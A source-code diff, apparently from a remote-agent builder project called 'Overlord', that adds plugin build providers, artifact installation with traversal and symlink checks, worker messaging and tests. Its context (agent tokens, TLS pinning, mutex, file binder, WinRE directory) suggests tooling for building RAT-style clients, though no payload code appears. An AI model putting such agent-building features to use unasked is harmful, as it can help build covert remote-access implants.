class="w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors">
<option value="">Full Go Agent</option>
</select>
<span id="build-provider-description" class="text-xs text-slate-500">
Uses the built-in full-featured Go client builder.
</span>
</label>
</div>
<!-- == Section 1: Target Platforms (open) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true" data-builder-panel="target">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
@@ -1322,7 +1337,12 @@
<div id="build-status" class="mb-4 hidden">
<div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
<i class="fa-solid fa-spinner fa-spin"></i>
<span id="build-status-text">Building...</span>
<div class="min-w-0 flex-1">
<span id="build-status-text">Building...</span>
<div id="build-progress-track" class="hidden mt-2 h-2 overflow-hidden rounded-full bg-slate-950/70" role="progressbar" aria-valuemin="0" aria-valuemax="100">
<div id="build-progress-bar" class="h-full w-0 rounded-full bg-blue-400 transition-[width] duration-500"></div>
</div>
</div>
</div>
</div>
+2
View File
@@ -11,6 +11,8 @@ export type BuildStream = {
export type BuildConfig = {
platforms: string[];
buildProvider?: string;
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
+6
View File
@@ -247,6 +247,10 @@ const WINRE_ROOT = path.join(DATA_DIR, "winre");
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
function resolvePluginWorkerHostUrl(): string {
const currentModulePath = fileURLToPath(import.meta.url);
if (currentModulePath.endsWith(`${path.sep}src${path.sep}main-server.ts`)) {
return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
}
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
if (existsSync(builtWorker)) {
return pathToFileURL(builtWorker).href;
@@ -311,6 +315,8 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
sanitizeOutputName,
fileShareRoot: FILE_SHARE_ROOT,
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
runBuildProvider: (pluginId, payload, onOutput) =>
pluginRuntime.runBuildProvider(pluginId, payload, onOutput),
});
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
+8
View File
@@ -394,11 +394,19 @@ export type PluginBuildIntegration = {
enabledByDefault?: boolean;
label?: string;
description?: string;
provider?: PluginBuildProvider;
settings?: PluginBuildSetting[];
actions?: PluginBuildAction[];
requires?: PluginBuildRequirement[];
};
export type PluginBuildProvider = {
label?: string;
description?: string;
icon?: string;
platforms: string[];
};
export type PluginBuildSetting = {
key: string;
label?: string;
+206 -62
View File
@@ -25,6 +25,8 @@ import { resolveContainedPath } from "./upload-security";
import { createIsolatedBuildEnv } from "./build-environment";
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
import { getActiveTlsSpkiPins } from "./tls-bootstrap";
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
import type { PluginBuildProviderOutput } from "./plugin-runtime/runtime";
export function createAgentTlsPinsLdflag(pins: string[]): string {
if (pins.length === 0) return "";
@@ -95,6 +97,7 @@ type BoundFile = {
type BuildProcessConfig = {
platforms: string[];
buildProvider?: string;
serverUrl?: string;
rawServerList?: boolean;
mutex?: string;
@@ -287,6 +290,11 @@ type BuildProcessDeps = {
sanitizeOutputName: (name: string) => string;
fileShareRoot?: string;
runBuildHookForAll?: BuildHookRunner;
runBuildProvider?: (
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
) => Promise<unknown>;
};
function guessMimeTypeForUpload(filename: string): string {
@@ -614,12 +622,76 @@ export async function startBuildProcess(
}
};
const finishSuccessfulBuild = async (outDir: string, buildTag?: string) => {
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
try {
await uploadBuildFilesToFileShare(
build,
outDir,
deps.fileShareRoot,
config.builtByUserId,
sendToStream,
);
} catch (uploadErr: any) {
sendToStream({
type: "output",
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
level: "warn",
});
}
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
sendToStream({
type: "output",
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
level: "warn",
});
}
await runBuildHooks(
deps.runBuildHookForAll,
"complete",
{
buildId,
status: build.status,
files: build.files,
outputDir: outDir,
expiresAt: build.expiresAt,
userId: config.builtByUserId,
config,
},
sendToStream,
);
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
initialClientTag: config.initialClientTag,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
};
let winresTempDir: string | null = null;
const generatedSysoFiles: string[] = [];
let binderGenPath: string | null = null;
let binderFilesDir: string | null = null;
let binderLockPath: string | null = null;
let macosSdkRoot: string | null = null;
let providerStagingDir: string | null = null;
const buildStartedAt = Date.now();
const keepAliveTimer = setInterval(() => {
@@ -654,6 +726,136 @@ export async function startBuildProcess(
);
}
const rootDir = resolveRuntimeRoot();
const outDir = path.join(rootDir, "dist-clients");
if (config.buildProvider) {
if (!deps.runBuildProvider) {
throw new Error("Plugin build providers are not available");
}
const buildTag = await signBuildToken({
v: 1,
bid: buildId,
uid: config.builtByUserId ?? null,
iat: Math.floor(Date.now() / 1000),
});
providerStagingDir = providerStagingDirectory(rootDir, buildId);
fs.rmSync(providerStagingDir, { recursive: true, force: true });
fs.mkdirSync(providerStagingDir, { recursive: true });
fs.mkdirSync(outDir, { recursive: true });
sendToStream({ type: "status", text: `Starting ${config.buildProvider} build provider...` });
sendToStream({
type: "output",
text: `Build provider: ${config.buildProvider}\n`,
level: "info",
});
const providerResult = await deps.runBuildProvider(
config.buildProvider,
{
buildId,
providerId: config.buildProvider,
runtimeRoot: rootDir,
outputDir: providerStagingDir,
platforms: config.platforms,
serverUrl: config.serverUrl,
agentToken: buildAgentToken,
buildTag,
tlsSpkiPins: buildTlsSpkiPins,
initialClientTag: config.initialClientTag,
outputName: config.outputName,
settings: config.buildPlugins?.[config.buildProvider]?.settings || {},
config,
},
(output) => {
const text = String(output.text || "").slice(0, 64 * 1024);
if (!text) return;
if (output.event === "status") {
const progress = Number.isFinite(output.progress)
? Math.max(0, Math.min(100, Number(output.progress)))
: undefined;
const etaSeconds = Number.isFinite(output.etaSeconds)
? Math.max(0, Math.min(7 * 24 * 60 * 60, Math.round(Number(output.etaSeconds))))
: undefined;
sendToStream({ type: "status", text, progress, etaSeconds });
} else {
sendToStream({
type: "output",
text: text.endsWith("\n") ? text : `${text}\n`,
level: output.level || "info",
});
}
},
);
const providerFiles = installProviderArtifacts({
result: providerResult,
stagingDir: providerStagingDir,
outputDir: outDir,
buildId,
requestedPlatforms: config.platforms,
sanitizeOutputName: deps.sanitizeOutputName,
});
for (const installed of providerFiles) {
let finalFile = { ...installed };
const extraFiles: any[] = [];
const artifactPayload = {
buildId,
providerId: config.buildProvider,
platform: finalFile.platform,
outDir,
file: {
...finalFile,
path: path.join(outDir, finalFile.filename),
},
files: cloneForHook(build.files),
config,
};
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactPayload, sendToStream)) {
if (!isRecord(item.result)) continue;
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (fs.existsSync(candidatePath)) {
finalFile = {
...finalFile,
filename: safeFilename,
size: fs.statSync(candidatePath).size,
};
} else {
sendToStream({
type: "output",
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalFile.filename}\n`,
level: "warn",
});
}
}
if (Array.isArray(item.result.files)) {
for (const rawFile of item.result.files) {
if (!isRecord(rawFile) || typeof rawFile.filename !== "string" || !rawFile.filename.trim()) continue;
const safeFilename = deps.sanitizeOutputName(path.basename(rawFile.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (!fs.existsSync(candidatePath)) continue;
const stat = fs.statSync(candidatePath);
extraFiles.push({
name: typeof rawFile.name === "string" && rawFile.name.trim() ? rawFile.name.trim() : safeFilename,
filename: safeFilename,
platform: typeof rawFile.platform === "string" ? rawFile.platform : finalFile.platform,
version: typeof rawFile.version === "string" ? rawFile.version : finalFile.version,
size: stat.size,
});
}
}
}
(build.files as any[]).push(finalFile, ...extraFiles);
}
await finishSuccessfulBuild(outDir, buildTag);
return;
}
sendToStream({ type: "status", text: "Preparing build environment..." });
try {
@@ -671,7 +873,6 @@ export async function startBuildProcess(
return;
}
const rootDir = resolveRuntimeRoot();
const clientDir = resolveClientModuleDir(rootDir);
if (!clientDir) {
throw new Error(
@@ -679,7 +880,6 @@ export async function startBuildProcess(
);
}
const agentVersion = detectAgentVersion(clientDir);
const outDir = path.join(rootDir, "dist-clients");
const cacheRoot = resolveClientBuildCacheRoot();
const goBuildCacheDir = path.join(cacheRoot, "go-build");
const goModCacheDir = path.join(cacheRoot, "go-mod");
@@ -2230,66 +2430,7 @@ func runBoundFiles() {
}
}
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
try {
await uploadBuildFilesToFileShare(
build,
outDir,
deps.fileShareRoot,
config.builtByUserId,
sendToStream,
);
} catch (uploadErr: any) {
sendToStream({
type: "output",
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
level: "warn",
});
}
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
sendToStream({
type: "output",
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
level: "warn",
});
}
await runBuildHooks(
deps.runBuildHookForAll,
"complete",
{
buildId,
status: build.status,
files: build.files,
outputDir: outDir,
expiresAt: build.expiresAt,
userId: config.builtByUserId,
config,
},
sendToStream,
);
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
id: build.id,
status: build.status,
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
initialClientTag: config.initialClientTag,
});
setTimeout(() => {
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
buildManager.deleteBuildStream(buildId);
}, SEVEN_DAYS_MS);
await finishSuccessfulBuild(outDir, buildTag);
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
@@ -2335,6 +2476,9 @@ func runBoundFiles() {
if (binderLockPath) {
try { fs.unlinkSync(binderLockPath); } catch {}
}
if (providerStagingDir) {
try { fs.rmSync(providerStagingDir, { recursive: true, force: true }); } catch {}
}
cleanupMacosSdkUpload(config.macosSdkUploadDir);
}
}
@@ -0,0 +1,69 @@
import { afterEach, describe, expect, test } from "bun:test";
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
const roots: string[] = [];
afterEach(async () => {
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
roots.length = 0;
});
async function fixture() {
const root = await mkdtemp(join(tmpdir(), "overlord-provider-test-"));
roots.push(root);
const buildId = "12345678-1234-1234-1234-123456789abc";
const stagingDir = providerStagingDirectory(root, buildId);
const outputDir = join(root, "dist-clients");
await mkdir(stagingDir, { recursive: true });
return { root, buildId, stagingDir, outputDir };
}
describe("plugin build provider artifacts", () => {
test("installs validated artifacts with a unique build suffix", async () => {
const dirs = await fixture();
await writeFile(join(dirs.stagingDir, "lite.exe"), "rust-lite");
const files = installProviderArtifacts({
result: { artifacts: [{ filename: "lite.exe", platform: "windows-amd64", version: "0.1.0" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["windows-amd64"],
sanitizeOutputName: (name) => name.replace(/[^A-Za-z0-9._-]/g, ""),
});
expect(files).toEqual([{
name: "lite.exe",
filename: "lite-12345678.exe",
platform: "windows-amd64",
version: "0.1.0",
size: 9,
}]);
});
test("rejects traversal and unrequested platforms", async () => {
const dirs = await fixture();
await writeFile(join(dirs.root, "outside.exe"), "outside");
expect(() => installProviderArtifacts({
result: { artifacts: [{ path: "../../../outside.exe", filename: "outside.exe", platform: "windows-amd64" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["windows-amd64"],
sanitizeOutputName: (name) => name,
})).toThrow("escaped");
await writeFile(join(dirs.stagingDir, "lite"), "lite");
expect(() => installProviderArtifacts({
result: { artifacts: [{ filename: "lite", platform: "linux-arm64" }] },
stagingDir: dirs.stagingDir,
outputDir: dirs.outputDir,
buildId: dirs.buildId,
requestedPlatforms: ["linux-amd64"],
sanitizeOutputName: (name) => name,
})).toThrow("unrequested platform");
});
});
@@ -0,0 +1,125 @@
import fs from "fs";
import path from "path";
const MAX_PROVIDER_ARTIFACTS = 32;
const MAX_PROVIDER_ARTIFACT_BYTES = 512 * 1024 * 1024;
export type ProviderArtifact = {
name: string;
filename: string;
platform: string;
version?: string;
size: number;
};
function isRecord(value: unknown): value is Record<string, any> {
return !!value && typeof value === "object" && !Array.isArray(value);
}
function isInside(root: string, target: string): boolean {
const prefix = root.endsWith(path.sep) ? root : `${root}${path.sep}`;
return target === root || target.startsWith(prefix);
}
function withBuildSlug(filename: string, slug: string): string {
const extension = path.extname(filename);
const stem = filename.slice(0, filename.length - extension.length);
return stem.endsWith(`-${slug}`) ? filename : `${stem}-${slug}${extension}`;
}
export function providerStagingDirectory(runtimeRoot: string, buildId: string): string {
if (!/^[A-Za-z0-9-]{8,64}$/.test(buildId)) {
throw new Error("Invalid provider build id");
}
return path.join(runtimeRoot, "dist-clients", ".plugin-builds", buildId);
}
export function installProviderArtifacts(args: {
result: unknown;
stagingDir: string;
outputDir: string;
buildId: string;
requestedPlatforms: string[];
sanitizeOutputName: (name: string) => string;
}): ProviderArtifact[] {
if (!isRecord(args.result) || !Array.isArray(args.result.artifacts)) {
throw new Error("Build provider must return an artifacts array");
}
if (args.result.artifacts.length === 0) {
throw new Error("Build provider returned no artifacts");
}
if (args.result.artifacts.length > MAX_PROVIDER_ARTIFACTS) {
throw new Error(`Build provider returned more than ${MAX_PROVIDER_ARTIFACTS} artifacts`);
}
const realStagingDir = fs.realpathSync(args.stagingDir);
const requestedPlatforms = new Set(args.requestedPlatforms);
const buildSlug = args.buildId.substring(0, 8);
const installed: ProviderArtifact[] = [];
const installedPaths: string[] = [];
const names = new Set<string>();
try {
for (const raw of args.result.artifacts) {
if (!isRecord(raw)) throw new Error("Build provider returned an invalid artifact");
const relativePath = typeof raw.path === "string" && raw.path.trim()
? raw.path.trim()
: typeof raw.filename === "string"
? raw.filename.trim()
: "";
if (!relativePath || path.isAbsolute(relativePath)) {
throw new Error("Provider artifact paths must be relative to the build output directory");
}
const sourcePath = path.resolve(args.stagingDir, relativePath);
if (!isInside(path.resolve(args.stagingDir), sourcePath)) {
throw new Error("Provider artifact escaped the build output directory");
}
const sourceStat = fs.lstatSync(sourcePath);
if (sourceStat.isSymbolicLink() || !sourceStat.isFile()) {
throw new Error("Provider artifacts must be regular files");
}
const realSourcePath = fs.realpathSync(sourcePath);
if (!isInside(realStagingDir, realSourcePath)) {
throw new Error("Provider artifact resolved outside the build output directory");
}
if (sourceStat.size <= 0 || sourceStat.size > MAX_PROVIDER_ARTIFACT_BYTES) {
throw new Error("Provider artifact has an invalid size");
}
const platform = typeof raw.platform === "string" ? raw.platform.trim() : "";
if (!requestedPlatforms.has(platform)) {
throw new Error(`Provider returned an artifact for unrequested platform ${platform || "<empty>"}`);
}
const suggestedName = typeof raw.filename === "string" && raw.filename.trim()
? path.basename(raw.filename.trim())
: path.basename(relativePath);
const sanitizedName = args.sanitizeOutputName(suggestedName);
if (!sanitizedName) throw new Error("Provider returned an invalid artifact filename");
const filename = withBuildSlug(sanitizedName, buildSlug);
if (names.has(filename)) throw new Error(`Provider returned duplicate artifact ${filename}`);
names.add(filename);
fs.mkdirSync(args.outputDir, { recursive: true });
const destinationPath = path.join(args.outputDir, filename);
fs.copyFileSync(realSourcePath, destinationPath);
installedPaths.push(destinationPath);
const size = fs.statSync(destinationPath).size;
installed.push({
name: typeof raw.name === "string" && raw.name.trim()
? raw.name.trim().slice(0, 128)
: suggestedName,
filename,
platform,
...(typeof raw.version === "string" && raw.version.trim() && { version: raw.version.trim().slice(0, 64) }),
size,
});
}
return installed;
} catch (error) {
for (const installedPath of installedPaths) {
try { fs.unlinkSync(installedPath); } catch {}
}
throw error;
}
}
@@ -0,0 +1,85 @@
import { afterEach, describe, expect, test } from "bun:test";
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
import { tmpdir } from "os";
import { join } from "path";
import { createPluginRuntime } from "./runtime";
const roots: string[] = [];
afterEach(async () => {
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
roots.length = 0;
});
describe("plugin build providers", () => {
test("streams provider output and returns its artifacts", async () => {
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-test-"));
roots.push(root);
const pluginDir = join(root, "provider");
await mkdir(pluginDir, { recursive: true });
await writeFile(join(pluginDir, "server.js"), `
export default {
onBuild(ctx, payload) {
ctx.build.status("Compiling test provider", 35, 42);
ctx.build.output("cargo output", "success");
return { artifacts: [{ filename: payload.filename, platform: "windows-amd64" }] };
}
};
`);
const errors: string[] = [];
const runtime = createPluginRuntime({
pluginRoot: root,
workerHostUrl: new URL("./worker-host.ts", import.meta.url).href,
setLastError: (_pluginId, error) => errors.push(error),
});
try {
await runtime.startPlugin("provider");
const output: any[] = [];
const result = await runtime.runBuildProvider(
"provider",
{ filename: "lite.exe" },
(event) => output.push(event),
);
expect(result).toEqual({
artifacts: [{ filename: "lite.exe", platform: "windows-amd64" }],
});
expect(output).toEqual([
{ event: "status", text: "Compiling test provider", level: undefined, progress: 35, etaSeconds: 42 },
{ event: "output", text: "cargo output", level: "success" },
]);
expect(errors).toEqual([]);
} finally {
await runtime.shutdownAll();
}
});
test("rejects immediately when a stale worker lacks build-provider support", async () => {
const root = await mkdtemp(join(tmpdir(), "overlord-plugin-runtime-stale-test-"));
roots.push(root);
const pluginDir = join(root, "provider");
await mkdir(pluginDir, { recursive: true });
await writeFile(join(pluginDir, "server.js"), "export default {};\n");
const staleWorker = join(root, "stale-worker.js");
await writeFile(staleWorker, `
self.onmessage = (event) => {
if (event.data?.type === "boot") self.postMessage({ type: "ready" });
};
`);
const runtime = createPluginRuntime({
pluginRoot: root,
workerHostUrl: staleWorker,
setLastError: () => {},
});
try {
await runtime.startPlugin("provider");
await expect(runtime.runBuildProvider("provider", {}, () => {})).rejects.toThrow(
"does not support build providers",
);
} finally {
await runtime.shutdownAll();
}
});
});
@@ -17,6 +17,18 @@ type PendingCall = {
timer: ReturnType<typeof setTimeout>;
};
export type PluginBuildProviderOutput = {
event: "output" | "status";
text: string;
level?: "debug" | "info" | "warn" | "error" | "success";
progress?: number;
etaSeconds?: number;
};
type PendingBuildProviderCall = PendingCall & {
onOutput: (output: PluginBuildProviderOutput) => void;
};
type PluginInstance = {
pluginId: string;
worker: Worker;
@@ -26,12 +38,15 @@ type PluginInstance = {
isReady: boolean;
pending: Map<string, PendingCall>;
pendingBuildHooks: Map<string, PendingCall>;
pendingBuildProviders: Map<string, PendingBuildProviderCall>;
capabilities: Set<string>;
subscribers: Set<Subscriber>;
startedAt: number;
};
const RPC_TIMEOUT_MS = 30_000;
const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
const BUILD_PROVIDER_TIMEOUT_MS = 30 * 60_000;
const SHUTDOWN_GRACE_MS = 750;
export type PluginRuntime = {
@@ -52,6 +67,11 @@ export type PluginRuntime = {
) => Promise<unknown>;
runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
runBuildProvider: (
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
) => Promise<unknown>;
subscribe: (
pluginId: string,
send: (sse: string) => void,
@@ -111,6 +131,8 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
isReady: false,
pending: new Map(),
pendingBuildHooks: new Map(),
pendingBuildProviders: new Map(),
capabilities: new Set(),
subscribers: new Set(),
startedAt: Date.now(),
};
@@ -172,6 +194,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
pending.reject(new Error("Plugin runtime stopped"));
}
inst.pendingBuildHooks.clear();
for (const pending of inst.pendingBuildProviders.values()) {
clearTimeout(pending.timer);
pending.reject(new Error("Plugin runtime stopped"));
}
inst.pendingBuildProviders.clear();
try {
const shutdownMsg: WorkerInbound = { type: "shutdown" };
@@ -293,6 +320,42 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
return results;
}
function runBuildProvider(
pluginId: string,
payload: unknown,
onOutput: (output: PluginBuildProviderOutput) => void,
): Promise<unknown> {
const inst = instances.get(pluginId);
if (!inst) {
return Promise.reject(new Error("Plugin runtime not running"));
}
const callOnReady = () =>
new Promise((resolve, reject) => {
if (!inst.capabilities.has("build_provider")) {
reject(new Error(
"Plugin worker does not support build providers. Rebuild the server bundle and restart the server.",
));
return;
}
const id = uuidv4();
const timer = setTimeout(() => {
if (inst.pendingBuildProviders.delete(id)) {
reject(new Error("Build provider timed out"));
}
}, BUILD_PROVIDER_TIMEOUT_MS);
inst.pendingBuildProviders.set(id, { resolve, reject, timer, onOutput });
const msg: WorkerInbound = { type: "build_provider", id, payload };
try {
inst.worker.postMessage(msg);
} catch (err) {
clearTimeout(timer);
inst.pendingBuildProviders.delete(id);
reject(err instanceof Error ? err : new Error(String(err)));
}
});
return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
}
function subscribe(
pluginId: string,
send: (sse: string) => void,
@@ -309,6 +372,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
if (msg.type === "ready") {
inst.capabilities = new Set(Array.isArray(msg.capabilities) ? msg.capabilities : []);
inst.resolveReady();
return;
}
@@ -335,6 +399,27 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
else pending.reject(new Error(msg.error));
return;
}
if (msg.type === "build_provider_output") {
const pending = inst.pendingBuildProviders.get(msg.id);
if (!pending) return;
pending.onOutput({
event: msg.event,
text: msg.text,
level: msg.level,
...(msg.progress !== undefined && { progress: msg.progress }),
...(msg.etaSeconds !== undefined && { etaSeconds: msg.etaSeconds }),
});
return;
}
if (msg.type === "build_provider_reply") {
const pending = inst.pendingBuildProviders.get(msg.id);
if (!pending) return;
clearTimeout(pending.timer);
inst.pendingBuildProviders.delete(msg.id);
if (msg.ok) pending.resolve(msg.result);
else pending.reject(new Error(msg.error));
return;
}
if (msg.type === "broadcast") {
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
const dataLine = JSON.stringify(msg.data ?? null);
@@ -370,6 +455,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
rpc,
runBuildHook,
runBuildHookForAll,
runBuildProvider,
subscribe,
isRunning,
hasServerCode,
@@ -31,16 +31,32 @@ export type WorkerInbound =
hook: string;
payload: unknown;
}
| {
type: "build_provider";
id: string;
payload: unknown;
}
| {
type: "shutdown";
};
export type WorkerOutbound =
| { type: "ready" }
| { type: "ready"; capabilities?: string[] }
| { type: "boot_error"; error: string }
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
| { type: "rpc_reply"; id: string; ok: false; error: string }
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
| { type: "build_hook_reply"; id: string; ok: false; error: string }
| { type: "build_provider_reply"; id: string; ok: true; result: unknown }
| { type: "build_provider_reply"; id: string; ok: false; error: string }
| {
type: "build_provider_output";
id: string;
event: "output" | "status";
text: string;
level?: "debug" | "info" | "warn" | "error" | "success";
progress?: number;
etaSeconds?: number;
}
| { type: "broadcast"; channel: string; data: unknown }
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
@@ -33,6 +33,7 @@ type PluginExports = {
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
onBuild?: (ctx: PluginBuildProviderContext, payload: unknown) => unknown | Promise<unknown>;
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
};
@@ -50,6 +51,13 @@ type PluginContext = {
broadcast: (channel: string, data: unknown) => void;
};
type PluginBuildProviderContext = PluginContext & {
build: {
output: (text: string, level?: "debug" | "info" | "warn" | "error" | "success") => void;
status: (text: string, progress?: number, etaSeconds?: number) => void;
};
};
let plugin: PluginExports | null = null;
let db: Database | null = null;
let ctx: PluginContext | null = null;
@@ -99,7 +107,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
await plugin.setup(ctx);
}
send({ type: "ready" });
send({ type: "ready", capabilities: ["build_provider"] });
} catch (err) {
const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
send({ type: "boot_error", error });
@@ -184,6 +192,47 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
return;
}
if (msg.type === "build_provider") {
if (!plugin || !ctx) {
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
return;
}
if (typeof plugin.onBuild !== "function") {
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin does not export onBuild" });
return;
}
const buildCtx: PluginBuildProviderContext = {
...ctx,
build: {
output: (text, level = "info") => send({
type: "build_provider_output",
id: msg.id,
event: "output",
text: String(text),
level,
}),
status: (text, progress, etaSeconds) => send({
type: "build_provider_output",
id: msg.id,
event: "status",
text: String(text),
progress,
etaSeconds,
}),
},
};
try {
const result = await plugin.onBuild(buildCtx, msg.payload);
send({ type: "build_provider_reply", id: msg.id, ok: true, result: result ?? null });
} catch (err) {
const error = err instanceof Error ? err.message : String(err);
const stack = err instanceof Error ? err.stack || "" : "";
console.error(`[plugin-worker] build provider error: ${error}`, stack);
send({ type: "build_provider_reply", id: msg.id, ok: false, error });
}
return;
}
if (msg.type === "shutdown") {
if (plugin && ctx && typeof plugin.teardown === "function") {
try {
@@ -175,6 +175,35 @@ describe("loadPluginBundle", () => {
expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
});
test("preserves a sanitized custom build provider declaration", async () => {
const root = await createTempRoot();
const AdmZip = require("adm-zip");
const zip = new AdmZip();
zip.addFile("config.json", Buffer.from(JSON.stringify({
name: "Rust Builder",
runtime: "server",
build: {
provider: {
label: "Rust Lite",
icon: "fa-brands fa-rust",
platforms: ["windows-amd64", "linux-arm64", "../../invalid"],
},
},
})));
zip.addFile("rust-builder.html", Buffer.from("<main></main>"));
zip.addFile("rust-builder.css", Buffer.from("main { display: block; }"));
zip.addFile("rust-builder.js", Buffer.from("document.body.dataset.builder = 'rust';"));
zip.addFile("server.js", Buffer.from("export default { onBuild() { return { artifacts: [] }; } };"));
zip.writeZip(join(root, "rust-builder.zip"));
await ensurePluginExtracted(root, "rust-builder", (name) => name);
const manifest = JSON.parse(await readFile(join(root, "rust-builder", "manifest.json"), "utf-8"));
expect(manifest.build.provider.label).toBe("Rust Lite");
expect(manifest.build.provider.platforms).toEqual(["windows-amd64", "linux-arm64"]);
expect(manifest.hasServer).toBe(true);
});
test("computes stable need hashes and invalidates changed approvals", () => {
const state: PluginState = {
enabled: {},
@@ -682,6 +682,24 @@ function normalizePluginBuildIntegration(raw: any): any | undefined {
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
if (raw.provider && typeof raw.provider === "object" && !Array.isArray(raw.provider)) {
const platforms = Array.isArray(raw.provider.platforms)
? Array.from(new Set<string>(raw.provider.platforms
.filter((value: unknown): value is string => typeof value === "string")
.map((value: string) => value.trim().toLowerCase())
.filter((value: string) => /^(windows|linux|darwin|freebsd|android|ios)-(amd64|arm64|386|armv7)$/.test(value))))
.slice(0, 32)
: [];
if (platforms.length > 0) {
build.provider = {
platforms,
...(typeof raw.provider.label === "string" && raw.provider.label.trim() && { label: raw.provider.label.trim().slice(0, 80) }),
...(typeof raw.provider.description === "string" && raw.provider.description.trim() && { description: raw.provider.description.trim().slice(0, 300) }),
...(typeof raw.provider.icon === "string" && raw.provider.icon.trim() && { icon: raw.provider.icon.trim().slice(0, 80) }),
};
}
}
const settings: any[] = [];
if (Array.isArray(raw.settings)) {
for (const item of raw.settings.slice(0, 20)) {
@@ -95,12 +95,21 @@ async function sanitizeBuildPlugins(
deps: BuildRouteDeps,
user: any,
